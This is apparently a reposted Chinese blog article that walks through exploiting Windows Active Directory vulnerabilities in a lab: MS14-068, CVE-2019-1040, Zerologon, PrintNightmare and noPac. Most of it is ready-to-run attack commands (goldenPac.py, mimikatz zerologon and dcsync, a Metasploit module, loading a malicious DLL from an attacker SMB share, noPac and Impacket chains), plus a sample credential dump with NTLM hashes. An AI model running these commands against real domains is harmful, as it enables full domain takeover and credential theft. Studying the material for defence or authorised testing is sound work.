admin管理员组文章数量:1637859
文章目录
- 简介
- MS14-068权限提升漏洞利用
- CVE-2019-1040 NTLM MIC绕过
- CVE-2020-1472 NetLogon(域控机器账户重置密码为空)
- Windows Print Spooler漏洞
- CVE-2021-42287(saMAccountName spoofing利用)
- 总结
简介
本篇文章主要介绍域常用漏洞的侦察与利用以及简单讲解漏洞原理,
本篇文章主要是以利用复现为主,详细漏洞细节各位读者可以自行搜索,
本篇文章不在过多赘述。
MS14-068权限提升漏洞利用
漏洞简述:
该漏洞允许拿到普通域账号的情况下提升为域管理员。
漏洞利用前提:
获取了域内一台计算机的 shell 权限,同时知道该域用户的用户名、SID、密码,如果存在该漏洞即可获取域管理员权限
1.域控没有打MS14-068的补丁(KB3011780)
2.有这台域内计算机的域用户密码和Sid
漏洞原理:
该漏洞最本质的地方在于Microsoft Windows Kerberos KDC无法正确检查Kerberos票证请求随附的特权属性证书
(PAC)中的有效签名,这里面的签名就是上面提到的服务检验和以及KDC校验和。导致用户可以自己构造一张PAC.签
名原本的设计是要用到HMAC系列的checksum算法,也就是必须要有key的参与,我们没有krbtgt的hash以及服务的
hash,就没有办法生成有效的签名,但是问题就出在,实现的时候允许所有的cheksum算法都可以,包括MD5。那我
们只需要把PAC 进行md5,就生成新的校验和。这也就意味着我们可以随意更改PAC的内容,完了之后再用md5 给他
生成一个服务检验和以及KDC校验和。在MS14-068修补程序之后,Microsof添加了一个附加的验证步骤,以确保校
验和类型为KRBCHECKSUMHMAC MD5。
影响的域控版本:
Windows Server 2003 SP2
Windows Server 2008 SP2
Windows Server 2008 R2 SP1
Windows Server 2012
Windows Server 2012 R2
侦察域控版本:
Adfind侦察命令:
AdFind.exe -b "OU=Domain Controllers,DC=test(域DC),DC=com(域DC)" -f "objectcategory=computer" name operatingSystem
bloodhound侦察:
直接查询Domain Controllers组内机器即可
利用环境:
kali 192.168.100.30
WIN10 192.168.100.20
WIN7 192.168.100.10
2008-DC 192.168.100.100
利用步骤方式(Impacket脚本利用):
1.获取某个普通域账号的权限并且拿到该账户的SID。
2.使用Impacket下的goldenPac.py脚本利用MS14-068漏洞提权控制拿到指定目标shell。
利用步骤1(Impacket脚本利用):
假设mimikatz抓取到了ruyu的hash,并且通过之前的侦察发现域控是2008 R2。
利用步骤2(Impacket脚本利用):
proxychains python3 goldenPac.py -dc-ip x.x.x.x(DC IP) -target-ip x.x.x.x(控制目标IP) 域名/用户账户@域控机器名称
测试例子:
python3 goldenPac.py -dc-ip 192.168.100.100 -target-ip 192.168.100.100 test/ruyu@WIN-IP1BSIOC1JJ
利用步骤方式(MS14-068提权脚本TGT票据注入):
脚本下载:
https://github/SecWiki/windows-kernel-exploits/tree/master/MS14-068
1.使用ms14-068.exe或脚本对普通域用户进行权限提升获得其TGT票据。
2.使用mimikatz.exe注入TGT票据。
3.进行Dcsync之后可进行PTH接管全域。
利用步骤1(MS14-068提权脚本TGT票据注入):
MS14-068.exe -u 域账号\域名 -p 密码 -s 域账号的SID -d 域控
利用步骤2(MS14-068提权脚本TGT票据注入):
mimikatz注入票据之前可以先清除当前缓存的Kerberos票据,
因为利用账户可以就是在当前机器上抓取的。
kerberos::purge //删除当前缓存的Kerberos票据
kerberos::ptc TGT票据路径 //导入票据
利用步骤3(MS14-068提权脚本TGT票据注入):
导入票据之后使用mimikatz进行Dcsync操作之后可进行PTH接管全域。
CVE-2019-1040 NTLM MIC绕过
漏洞简述:
CVE-2019-1040漏洞可以使攻击者绕过NTLM消息完整性校验,成功
利用后可以降级NTLM安全功能的能力,该漏洞往往配合NTLM Relay攻击时使用,
某些情况下可以直接通过普通域成员直接控制全域。
漏洞原理简述:
该漏洞是因为Windows可以进行无消息完整性校验的NTLM Authenticat消息,因此可以
通过取消数据包中的MIC标志,来绕过NTLM消息完整性校验。
漏洞利用常见场景:
场景1(Exchange Relay利用):
Exchange机器账户具有对域的write-dacl权限,因此可以通过打印机bug
触发smb ntlm认证但是默认开启smb签名会导致利用失败因此需要1040漏洞
降级smb签名关闭并中继域控ldap服务为普通域成员赋予Dcsync权限后PTH控制全域。
场景2(NTLM Relay攻击辅助域控):
因为Relay攻击无法回连到自身,因此需要该场景下由域控A和辅助域控B,因为这俩域控机器账户
都具有Dcsync功能,使用打印机bug强制发起SMB ntlm认证后可以通过1040绕过smb签名中继到
主域控ldap服务因为打印机bug会连的是辅助域控的机器账户该账户可以修改自身属性配置基于
资源的约束委派利用控制辅助域控进而控制全域。
场景3(NTLM Relay 进行横向):
跟场景2类似在单域控环境下可以触发普通成员机器账户smb ntlm认证使用1040漏洞绕过SMB签名
中继到域控ldap服务并设置资源约束委派利用进而控制目标机器。
漏洞利用:
场景1可以看我之前写的NTLM Relay利用其中写了Exchange Relay利用。(Exchange 利用(Relay+CVE-2019-1040=接管全域))
http://t.csdn/hRlm9
场景2跟场景3类似可以参考我之前写这篇文章(利用方式3(Ntlm Relay+打印机bug+基于资源的约束委派拿下目标控制权))
http://t.csdn/i9P4U
CVE-2020-1472 NetLogon(域控机器账户重置密码为空)
漏洞简述:
该漏洞可以通过域控135端口利用Netlogon远程协议重置域控机器账户Hash为空,从而
控制域控机器账户进行Dcsync操作PTH接管全域。
漏洞原理简述:
NetlogonRPC使用Compute-NetlogonCredential函数生成证书,
该函数初始IV为0会导致后续AES-CFB8算法漏洞,认证的计算出
来的Session Key是随机的,IV有1/256概率使得output也全为0,
因为Netlogon协议对机器账户的认证次数没有限制因此可以通过
不断地尝试来通过身份认证。
影响版本:
Windows Server 2008
Windows Server 2012
Windows Server 2012 R2
Windows Server 2016
Windows Server 2019
Windows Server version 1903
Windows Server version 1909
Windows Server version 2004
测试环境:
WIN10 192.168.100.200 攻击机
2016DC 192.168.100.100 域控
漏洞侦察:
mimikatz侦察命令(不需要UAC):
target:域控IP
account:域控机器账号
lsadump::zerologon /target:192.168.100.100 /account:WIN-KAQ6HLSB2M3$ /poc
显示Authentication: OK -- vulnerable则说明可以利用
漏洞利用(mimikatz利用):
lsadump::zerologon /target:192.168.100.100 /account:WIN-KAQ6HLSB2M3$ /exploit
漏洞利用(python脚本):
下载:
https://github/SecuraBV/CVE-2020-1472
命令:
python3 zerologon_tester.py 域控机器账号 域控IP
漏洞利用(msf):
选择利用模块
use admin/dcerpc/cve_2020_1472_zerologon
设置NBNAME为域控机器名称
set NBNAME WIN-KAQ6HLSB2M3
设置域控IP
set RHOSTS 192.168.100.100
利用
exploit
Dcsync操作:
方式1(Impacket)
secretsdump.py '域控机器账户$@域控IP' -no-pass
方式2(mimikatz)
domain:域名
dc:机器账户名.域名
user:要获取的hash
authuser:机器账户
/authdoamin:域名
/authpassword:密码
导出krbtgt
lsadump::dcsync /domain:test /dc:WIN-KAQ6HLSB2M3.test /user:krbtgt /authuser:WIN-KAQ6HLSB2M3$ /authdomain:test /authpassword:"" /authntlm
导出所有hash
lsadump::dcsync /dc:MULTIMASTER.MEGACORP.LOCAL /authuser:MULTIMASTER$ /authdomain:MEGACORP.LOCAL /authpassword:"" /domain:MEGACORP.LOCAL /authntlm /all
mimikatz恢复域控机器账号(需要域管权限)
lsadump::postzerologon /target:192.168.100.100 /account:WIN-KAQ6HLSB2M3$
Windows Print Spooler漏洞
漏洞简介:
该漏洞2021.6.29日出现可以利用RPC鉴权缺陷对域控写入恶意驱动上线DLL进而
控制域控机器,下面将介绍使用mimikatz进行利用。
漏洞原理简介:
该漏洞是攻击Print Spooler服务该程序在Windows中用于管理打印机相关的服务,
该服务对应的进程是spoolsv.exe以System权限执行,在SeLoadDriverPrivilege中
存在鉴权代码缺陷可以被利用者控制,写入恶意驱动如果域控存在此漏洞那么可以
控制整个域。
影响版本:
Windows 7
Windows 10
Windows Server 2008
Windows Server 2012
Windows Server 2016
Windows Server 2019
利用过程步骤:
1.创建SMB匿名共享添加64位恶意DLL。
2.使用mimikatz进行exp利用。
3.恶意DLL被加载成功上线因为是域控机器账户因此可以进行Dcsync操作进而控制全域。
利用步骤1(开启匿名SMB):
kali下开启匿名SMB:
kali SMB配置文件在/etc/samba/smb.conf
启动SMB服务
service smbd start
查看SMB服务状态
service smbd status
cs上线64位DLL
利用步骤2(mimikatz利用)
mimikatz利用:
misc::printnightmare /server:目标机器 /library:smb的DLL路径
misc::printnightmare /server:192.168.100.100 /library:\\192.168.100.131\smb\10.dll
需要注意:
无法重复上线只能上线一次,如果位数为32位则shellcode加载失败仅为加载进程为64位当然也可以
根据系统版本自行判断,64位则需要64位DLL。
利用步骤3(进行Dcsync)
因为上线到了域控的机器账户因此可以进行Dcsync权限。
CVE-2021-42287(saMAccountName spoofing利用)
漏洞简述:
该漏洞可以在仅有一个普通域账户场景下接管全域,在Kerberos认证的过程中
PAC会添加到所以账户的TGT中,即使是哪些明确协商拒接的PAC的用户。
该漏洞出现的注意原因是KDC在处理UserName字段有问题,利用KDC在
处理S4U2Self时的逻辑问题来重新生成PAC这一特征来进行攻击。
漏洞利用步骤(noPac):
1.使用noPac利用攻击对目标域进行利用
2.使用mimikatz进行Dcsync
漏洞利用步骤(Impacket):
1.创建机器账户
2.将创建机器账户的saMAccountName属性修改域控名称
3.以创建的机器账户身份申请TGT
4.用获取到的TGT发起S4uSelf协议以administrator身份访问域控的CIFS获取TGS票据
5.导入TGS票据并进行krbtgt hash的获取
漏洞利用步骤(noPac):
步骤1:
下载:
https://github/cube0x0/noPac
使用nopac利用:
这里请求ldap服务进行Dcsync如果需要登录域控可以申请cifs服务然后使用psexec等工具登录域控服务器。
noPac.exe -domain test -user 域账户 -pass 域密码 /dc DC机器名称 /mAccount 自动创建利用的机器账户名 /mPassword 机器账户密码 /service ldap /ptt
步骤2:
lsadump::dcsync /domain:test /all /csv
漏洞利用步骤(Impacket):
抓取到lisi普通域账户:
Authentication Id : 0 ; 276351 (00000000:0004377f)
Session : Interactive from 2
User Name : lisi
Domain : TEST
Logon Server : WIN-TLB9PO09SFA
Logon Time : 2023/3/16 0:33:44
SID : S-1-5-21-3042504039-1145428418-1324677547-1108
msv :
[00000003] Primary
* Username : lisi
* Domain : TEST
* LM : f8c54449cecf89cd1e929ffc01395127
* NTLM : 4c25ed57e37131073192a98148fbc30f
* SHA1 : 78d4cfff9d897cf7eff5311adab2559df03fb284
1.创建机器账户
python3 addcomputer.py -computer-name 'Hack888' -computer-pass 'password123' -dc-ip 10.211.55.100 'test/lisi' -hashes 0:4c25ed57e37131073192a98148fbc30f -method SAMR -debug
2.将创建机器账户的saMAccountName属性修改域控名称
下载:
https://github/ShutdownRepo/impacket/tree/CVE-2021-42278
python3 renameMachine.py -current-name 'Hack888$' -new-name 'WIN-DC' -dc-ip 10.211.55.100 'test/lisi' -hashes :4c25ed57e37131073192a98148fbc30f
需要注意不能重复设置其他机器账户负责会产生冲突需要删除之前创建的机器账户或者将之前机器账户saMAccountName属性重置为空
3.使用getTGT申请TGT
下载(是基于原本Impacket魔改的需要重新下载):
https://github/fortra/impacket/pull/1202
需要注意因为已经修改了saMAccountName因此请求的账户与saMAccountName内容一致为DC机器名称,
密码还是之前创建机器账户的密码。
命令:
python3 /home/kali/Desktop/AD/impacket-CVE-2021-42278/examples/getTGT.py -dc-ip 10.211.55.100 test/WIN-DC:password123
4.用上一步获取的TGT使用getST发起S4u2Self协议以administrator身份请求访问域控的CIFS
导入票据
KRB5CCNMAE=WIN-DCache
python3 getST.py -spn cifs/WIN-DC.test/WIN-DC@10.211.55.100 -no-pass -k -dc-ip 10.211.55.100 -impersonate administrator -self
5.导入administrator TGS并进行Dcsync
KRB5CCNMAE=administratorache
python3 secretsdump.py WIN-DC.test -k -no-pass -just-dc-user krbtgt
总结
本篇文章讲述了近些年来一些常见的域内CVE利用
1.CVE-2021-42287(saMAccountName spoofing利用)
2.Windows Print Spooler漏洞
3.CVE-2020-1472 NetLogon(域控机器账户重置密码为空)
4.MS14-068权限提升
5.CVE-2019-1040 NTLM MIC绕过
版权声明:本文标题:域内常见CVE Exploit 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1729255248a1192588.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论